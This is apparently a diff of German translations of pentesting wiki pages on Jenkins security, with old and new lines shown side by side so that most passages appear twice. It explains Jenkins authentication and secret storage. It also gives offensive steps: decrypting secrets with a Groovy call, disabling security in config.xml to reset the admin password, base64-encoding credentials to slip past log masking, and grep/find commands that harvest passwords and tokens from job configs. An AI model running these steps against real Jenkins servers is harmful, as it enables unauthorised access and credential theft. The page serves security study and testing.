#### Jenkins-Geheimnisse aus Groovy entschlüsseln
|
||||
#### Decrypt Jenkins secrets mit Groovy
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### Erstellen eines neuen Administrators
|
||||
### Neuen Admin-Benutzer erstellen
|
||||
|
||||
1. Greifen Sie auf die Jenkins config.xml-Datei in `/var/lib/jenkins/config.xml` oder `C:\Program Files (x86)\Jenkis\` zu.
|
||||
2. Suchen Sie nach dem Wort `<useSecurity>true</useSecurity>` und ändern Sie das Wort **`true`** in **`false`**.
|
||||
1. Greife auf die Jenkins `config.xml`-Datei in `/var/lib/jenkins/config.xml` oder `C:\Program Files (x86)\Jenkis\` zu.
|
||||
2. Suche nach dem Wort `<useSecurity>true</useSecurity>` und ändere das Wort **`true`** zu **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Starten** den **Jenkins**-Server neu: `service jenkins restart`
|
||||
4. Gehen Sie jetzt erneut zum Jenkins-Portal und **Jenkins wird diesmal keine Anmeldeinformationen anfordern**. Navigieren Sie zu "**Manage Jenkins**", um das **Administratorpasswort erneut festzulegen**.
|
||||
5. **Aktivieren** Sie die **Sicherheit** erneut, indem Sie die Einstellungen auf `<useSecurity>true</useSecurity>` ändern und **starten Sie Jenkins erneut neu**.
|
||||
3. **Starte** den **Jenkins**-Server neu: `service jenkins restart`
|
||||
4. Gehe nun wieder zum Jenkins-Portal und **Jenkins wird dieses Mal keine Anmeldeinformationen abfragen**. Du navigierst zu "**Manage Jenkins**", um das **Administrator-Passwort erneut** festzulegen.
|
||||
5. **Aktiviere** die **Sicherheit** wieder, indem du die Einstellung auf `<useSecurity>true</useSecurity>` änderst und **starte Jenkins erneut**.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Grundlegende Jenkins-Informationen
|
||||
# Basic Jenkins Information
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,81 +6,92 @@
|
||||
|
||||
### Benutzername + Passwort
|
||||
|
||||
Der häufigste Weg, sich in Jenkins anzumelden, ist mit einem Benutzernamen oder einem Passwort.
|
||||
Der häufigste Weg, sich bei Jenkins anzumelden, ist mit Benutzername und Passwort.
|
||||
|
||||
### Cookie
|
||||
|
||||
Wenn ein **autorisierter Cookie gestohlen wird**, kann er verwendet werden, um auf die Sitzung des Benutzers zuzugreifen. Der Cookie wird normalerweise `JSESSIONID.*` genannt. (Ein Benutzer kann alle seine Sitzungen beenden, muss jedoch zuerst herausfinden, dass ein Cookie gestohlen wurde).
|
||||
Wenn ein **autorisierter Cookie gestohlen wird**, kann er verwendet werden, um auf die Sitzung des Benutzers zuzugreifen. Der Cookie heißt normalerweise `JSESSIONID.*`. (Ein Benutzer kann alle seine Sitzungen beenden, müsste aber zuerst feststellen, dass ein Cookie gestohlen wurde).
|
||||
|
||||
### SSO/Plugins
|
||||
|
||||
Jenkins kann mit Plugins konfiguriert werden, um **über Drittanbieter-SSO** zugänglich zu sein.
|
||||
Jenkins kann per Plugins so konfiguriert werden, dass es **via third party SSO** erreichbar ist.
|
||||
|
||||
### Tokens
|
||||
|
||||
**Benutzer können Tokens generieren**, um Anwendungen den Zugriff zu ermöglichen, um sie über CLI oder REST API zu impersonifizieren.
|
||||
**Benutzer können Tokens generieren**, um Anwendungen Zugriff zu gewähren, damit diese sie über CLI oder REST API impersonieren können.
|
||||
|
||||
### SSH-Schlüssel
|
||||
### SSH Keys
|
||||
|
||||
Diese Komponente bietet einen integrierten SSH-Server für Jenkins. Es ist eine alternative Schnittstelle für die [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), und Befehle können auf diese Weise mit jedem SSH-Client aufgerufen werden. (Aus den [Docs](https://plugins.jenkins.io/sshd/))
|
||||
This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (Aus den [docs](https://plugins.jenkins.io/sshd/))
|
||||
|
||||
## Autorisierung
|
||||
|
||||
In `/configureSecurity` ist es möglich, die **Autorisierungsmethode von Jenkins** zu konfigurieren. Es gibt mehrere Optionen:
|
||||
In `/configureSecurity` ist es möglich, **die authorization method von Jenkins zu konfigurieren**. Es gibt mehrere Optionen:
|
||||
|
||||
- **Jeder kann alles tun**: Sogar anonymer Zugriff kann den Server verwalten.
|
||||
- **Legacy-Modus**: Gleich wie Jenkins <1.164. Wenn Sie die **"admin"-Rolle** haben, erhalten Sie **vollständige Kontrolle** über das System, und **ansonsten** (einschließlich **anonymer** Benutzer) haben Sie **Lesezugriff**.
|
||||
- **Eingeloggte Benutzer können alles tun**: In diesem Modus erhält jeder **eingeloggte Benutzer vollständige Kontrolle** über Jenkins. Der einzige Benutzer, der keine vollständige Kontrolle hat, ist der **anonyme Benutzer**, der nur **Lesezugriff** erhält.
|
||||
- **Matrix-basierte Sicherheit**: Sie können **konfigurieren, wer was tun kann** in einer Tabelle. Jede **Spalte** repräsentiert eine **Berechtigung**. Jede **Zeile** **repräsentiert** einen **Benutzer oder eine Gruppe/Rolle.** Dies umfasst einen speziellen Benutzer '**anonymous**', der **nicht authentifizierte Benutzer** repräsentiert, sowie '**authenticated**', der **alle authentifizierten Benutzer** repräsentiert.
|
||||
- **Anyone can do anything**: Selbst anonymer Zugriff kann den Server administrieren
|
||||
- **Legacy mode**: Gleich wie Jenkins <1.164. Wenn du die **"admin" role** hast, erhältst du **full control** über das System, und **ansonsten** (einschließlich **anonymous** Benutzer) erhältst du **read**-Zugriff.
|
||||
- **Logged-in users can do anything**: In diesem Modus erhält jeder **eingeloggte Benutzer full control** über Jenkins. Der einzige Benutzer, der keine Vollkontrolle hat, ist der **anonymous user**, der nur **read access** erhält.
|
||||
- **Matrix-based security**: Du kannst konfigurieren, **wer was tun darf** in einer Tabelle. Jede **Spalte** stellt eine **permission** dar. Jede **Zeile** repräsentiert einen **Benutzer oder eine Gruppe/Rolle.** Dies beinhaltet einen speziellen Benutzer '**anonymous**', der **unauthenticated users** repräsentiert, sowie '**authenticated**', der **all authenticated users** repräsentiert.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Projektbasierte Matrix-Autorisierungsstrategie:** Dieser Modus ist eine **Erweiterung** der "**Matrix-basierten Sicherheit**", die es ermöglicht, zusätzliche ACL-Matrizen **für jedes Projekt separat zu definieren.**
|
||||
- **Rollenbasierte Strategie:** Ermöglicht die Definition von Berechtigungen mit einer **rollenbasierten Strategie**. Verwalten Sie die Rollen in `/role-strategy`.
|
||||
- **Project-based Matrix Authorization Strategy:** Dieser Modus ist eine **Erweiterung** von "**Matrix-based security**", die erlaubt, zusätzliche ACL-Matrizen für jedes Projekt separat zu **definieren.**
|
||||
- **Role-Based Strategy:** Ermöglicht das Definieren von Autorisierungen mittels einer **role-based strategy**. Manage die Rollen in `/role-strategy`.
|
||||
|
||||
## **Sicherheitsbereich**
|
||||
## **Security Realm**
|
||||
|
||||
In `/configureSecurity` ist es möglich, den **Sicherheitsbereich zu konfigurieren.** Standardmäßig unterstützt Jenkins einige verschiedene Sicherheitsbereiche:
|
||||
In `/configureSecurity` ist es möglich, **das security realm zu konfigurieren.** Standardmäßig unterstützt Jenkins einige verschiedene Security Realms:
|
||||
|
||||
- **Delegieren an den Servlet-Container**: Für **die Authentifizierung an einen Servlet-Container, der den Jenkins-Controller ausführt**, wie [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins eigene Benutzerdatenbank:** Verwenden Sie **Jenkins eigene integrierte Benutzerdatenbank** zur Authentifizierung, anstatt an ein externes System zu delegieren. Dies ist standardmäßig aktiviert.
|
||||
- **LDAP**: Delegieren Sie die gesamte Authentifizierung an einen konfigurierten LDAP-Server, einschließlich sowohl Benutzer als auch Gruppen.
|
||||
- **Unix-Benutzer-/Gruppendatenbank**: **Delegiert die Authentifizierung an die zugrunde liegende Unix**-OS-Benutzerdatenbank auf dem Jenkins-Controller. Dieser Modus ermöglicht auch die Wiederverwendung von Unix-Gruppen für die Autorisierung.
|
||||
- **Delegate to servlet container**: Für das Delegieren der Authentifizierung an einen Servlet-Container, der den Jenkins-Controller ausführt, z. B. [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins’ own user database:** Verwende **Jenkins’s own built-in user data store** für die Authentifizierung anstatt an ein externes System zu delegieren. Dies ist standardmäßig aktiviert.
|
||||
- **LDAP**: Delegiert die gesamte Authentifizierung an einen konfigurierten LDAP-Server, einschließlich Benutzer und Gruppen.
|
||||
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. Dieser Modus erlaubt außerdem die Wiederverwendung von Unix-Gruppen für die Autorisierung.
|
||||
|
||||
Plugins können zusätzliche Sicherheitsbereiche bereitstellen, die nützlich sein können, um Jenkins in bestehende Identitätssysteme zu integrieren, wie zum Beispiel:
|
||||
Plugins können zusätzliche Security Realms bereitstellen, die nützlich sein können, um Jenkins in bestehende Identity-Systeme zu integrieren, wie z. B.:
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [GitHub-Authentifizierung](https://plugins.jenkins.io/github-oauth)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
|
||||
|
||||
## Jenkins-Knoten, Agenten & Executor
|
||||
## Jenkins Nodes, Agents & Executors
|
||||
|
||||
Definitionen aus den [Docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
Definitionen aus den [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**Knoten** sind die **Maschinen**, auf denen die Build-**Agenten laufen**. Jenkins überwacht jeden angeschlossenen Knoten auf Speicherplatz, freien temporären Speicher, freien Swap, Uhrzeit/Synchronisation und Reaktionszeit. Ein Knoten wird offline genommen, wenn einer dieser Werte außerhalb des konfigurierten Schwellenwerts liegt.
|
||||
**Nodes** sind die **Machines**, auf denen Build-**agents** laufen. Jenkins überwacht jeden angeschlossenen Node hinsichtlich Festplattenspeicher, freiem Temp-Speicher, freiem Swap, Uhrzeit/Sync und Antwortzeit. Ein Node wird offline geschaltet, wenn einer dieser Werte außerhalb des konfigurierten Schwellenwerts liegt.
|
||||
|
||||
**Agenten** **verwalten** die **Aufgabenausführung** im Auftrag des Jenkins-Controllers, indem sie **Executor** verwenden. Ein Agent kann jedes Betriebssystem verwenden, das Java unterstützt. Die für Builds und Tests erforderlichen Tools sind auf dem Knoten installiert, auf dem der Agent läuft; sie können **direkt oder in einem Container** (Docker oder Kubernetes) installiert werden. Jeder **Agent ist effektiv ein Prozess mit seiner eigenen PID** auf der Hostmaschine.
|
||||
**Agents** verwalten die **Aufgabenausführung** im Auftrag des Jenkins-Controllers durch Einsatz von **executors**. Ein Agent kann jedes Betriebssystem verwenden, das Java unterstützt. Für Builds und Tests benötigte Tools werden auf dem Node installiert, auf dem der Agent läuft; sie können **direkt oder in einem Container** (Docker oder Kubernetes) installiert werden. Jeder **Agent ist effektiv ein Prozess mit eigener PID** auf dem Hostsystem.
|
||||
|
||||
Ein **Executor** ist ein **Slot für die Ausführung von Aufgaben**; effektiv ist es **ein Thread im Agenten**. Die **Anzahl der Executor** auf einem Knoten definiert die Anzahl der **gleichzeitigen Aufgaben**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können. Mit anderen Worten, dies bestimmt die **Anzahl der gleichzeitigen Pipeline `stages`**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können.
|
||||
Ein **executor** ist ein **Slot zur Ausführung von Aufgaben**; effektiv ist es **ein Thread im Agent**. Die **Anzahl der executors** auf einem Node definiert die Anzahl gleichzeitiger Aufgaben, die auf diesem Node zur gleichen Zeit ausgeführt werden können. Mit anderen Worten bestimmt dies die **Anzahl gleichzeitiger Pipeline `stages`**, die auf diesem Node gleichzeitig ausgeführt werden können.
|
||||
|
||||
## Jenkins-Geheimnisse
|
||||
## Jenkins Secrets
|
||||
|
||||
### Verschlüsselung von Geheimnissen und Anmeldeinformationen
|
||||
### Encryption of Secrets and Credentials
|
||||
|
||||
Definition aus den [Docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins verwendet **AES zur Verschlüsselung und zum Schutz von Geheimnissen**, Anmeldeinformationen und deren jeweiligen Verschlüsselungsschlüsseln. Diese Verschlüsselungsschlüssel werden in `$JENKINS_HOME/secrets/` zusammen mit dem Master-Schlüssel gespeichert, der zum Schutz dieser Schlüssel verwendet wird. Dieses Verzeichnis sollte so konfiguriert werden, dass nur der Betriebssystembenutzer, unter dem der Jenkins-Controller läuft, Lese- und Schreibzugriff auf dieses Verzeichnis hat (d.h. ein `chmod`-Wert von `0700` oder unter Verwendung geeigneter Dateiattribute). Der **Master-Schlüssel** (manchmal in der Kryptosprache als "Key Encryption Key" bezeichnet) wird **_unverschlüsselt_** auf dem Dateisystem des Jenkins-Controllers in **`$JENKINS_HOME/secrets/master.key`** gespeichert, was nicht vor Angreifern schützt, die direkten Zugriff auf diese Datei haben. Die meisten Benutzer und Entwickler verwenden diese Verschlüsselungsschlüssel indirekt über entweder die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API zur Verschlüsselung allgemeiner geheimer Daten oder über die Anmeldeinformations-API. Für die kryptokuriosen Benutzer verwendet Jenkins AES im Cipher Block Chaining (CBC)-Modus mit PKCS#5-Padding und zufälligen IVs, um Instanzen von [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) zu verschlüsseln, die in `$JENKINS_HOME/secrets/` mit einem Dateinamen gespeichert werden, der ihrer `CryptoConfidentialKey`-ID entspricht. Häufige Schlüssel-IDs sind:
|
||||
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins verwendet **AES zur Verschlüsselung und zum Schutz von Secrets**, Credentials und deren jeweiligen Verschlüsselungsschlüsseln. Diese Verschlüsselungsschlüssel werden in `$JENKINS_HOME/secrets/` zusammen mit dem Master-Key gespeichert, der verwendet wird, um diese Schlüssel zu schützen. Dieses Verzeichnis sollte so konfiguriert sein, dass nur der Betriebssystem-Benutzer, unter dem der Jenkins-Controller läuft, Lese- und Schreibzugriff auf dieses Verzeichnis hat (d. h. ein `chmod`-Wert von `0700` oder die Verwendung geeigneter Dateiattribute). Der **master key** (manchmal in der Kryptosprache als "key encryption key" bezeichnet) wird **unverschlüsselt** auf dem Dateisystem des Jenkins-Controllers in **`$JENKINS_HOME/secrets/master.key`** gespeichert, was keinen Schutz gegen Angreifer mit direktem Zugriff auf diese Datei bietet. Die meisten Anwender und Entwickler nutzen diese Verschlüsselungsschlüssel indirekt entweder über die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API zum Verschlüsseln generischer geheimer Daten oder über die credentials API. Für die Kryptointeressierten verwendet Jenkins AES im Cipher Block Chaining (CBC)-Modus mit PKCS#5-Padding und zufälligen IVs, um Instanzen von [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) zu verschlüsseln, die in `$JENKINS_HOME/secrets/` mit einem Dateinamen entsprechend ihrer `CryptoConfidentialKey`-ID gespeichert sind. Häufige Key-IDs sind:
|
||||
|
||||
- `hudson.util.Secret`: verwendet für allgemeine Geheimnisse;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: verwendet für einige Anmeldeinformationstypen;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: verwendet vom [CSRF-Schutzmechanismus](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); und
|
||||
- `hudson.util.Secret`: used for generic secrets;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
|
||||
|
||||
### Zugriff auf Anmeldeinformationen
|
||||
### Credentials Access
|
||||
|
||||
Anmeldeinformationen können **globalen Anbietern** (`/credentials/`) zugewiesen werden, auf die von jedem konfigurierten Projekt zugegriffen werden kann, oder sie können auf **spezifische Projekte** (`/job/<project-name>/configure`) beschränkt werden und sind daher nur von dem spezifischen Projekt aus zugänglich.
|
||||
Credentials können auf **global providers** (`/credentials/`) scoped werden, die von jedem konfigurierten Projekt zugänglich sind, oder können auf **specific projects** (`/job/<project-name>/configure`) scoped werden und sind damit nur vom jeweiligen Projekt aus zugänglich.
|
||||
|
||||
Laut [**den Docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Anmeldeinformationen, die im Geltungsbereich sind, stehen der Pipeline ohne Einschränkungen zur Verfügung. Um **versehentliche Offenlegung im Build-Protokoll** zu verhindern, werden Anmeldeinformationen **maskiert** und sind nicht im regulären Output sichtbar, sodass ein Aufruf von `env` (Linux) oder `set` (Windows) oder Programme, die ihre Umgebung oder Parameter drucken, **sie im Build-Protokoll nicht offenbaren** für Benutzer, die ansonsten keinen Zugriff auf die Anmeldeinformationen hätten.
|
||||
Laut [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials, die im Scope sind, werden der Pipeline uneingeschränkt zur Verfügung gestellt. Um **versehentliche Offenlegung im Build-Log zu verhindern**, werden Credentials im regulären Output **maskiert**, sodass ein Aufruf von `env` (Linux) oder `set` (Windows) oder Programme, die ihre Umgebung oder Parameter ausgeben, diese **nicht im Build-Log** offenbaren würden für Benutzer, die sonst keinen Zugriff auf die Credentials hätten.
|
||||
|
||||
**Deshalb muss ein Angreifer, um die Anmeldeinformationen zu exfiltrieren, sie beispielsweise base64 kodieren.**
|
||||
**Deshalb muss ein Angreifer, um die Credentials zu exfiltrieren, sie z. B. base64-kodieren.**
|
||||
|
||||
### Secrets in plugin/job configs on disk
|
||||
|
||||
Gehe nicht davon aus, dass Secrets nur in `credentials.xml` liegen. Viele Plugins persistieren Secrets in ihrer **eigenen globalen XML** unter `$JENKINS_HOME/*.xml` oder in der pro-Job-Datei `$JENKINS_HOME/jobs/<JOB>/config.xml`, manchmal sogar im Klartext (UI-Maskierung garantiert keine verschlüsselte Speicherung). Wenn du Lesezugriff auf das Dateisystem erlangst, liste diese XMLs auf und suche nach offensichtlichen Secret-Tags.
|
||||
```bash
|
||||
# Global plugin configs
|
||||
ls -l /var/lib/jenkins/*.xml
|
||||
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
|
||||
|
||||
# Per-job configs
|
||||
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
|
||||
```
|
||||
## Referenzen
|
||||
|
||||
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
|
||||
@@ -90,5 +101,6 @@ Laut [**den Docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)
|
||||
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
|
||||
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user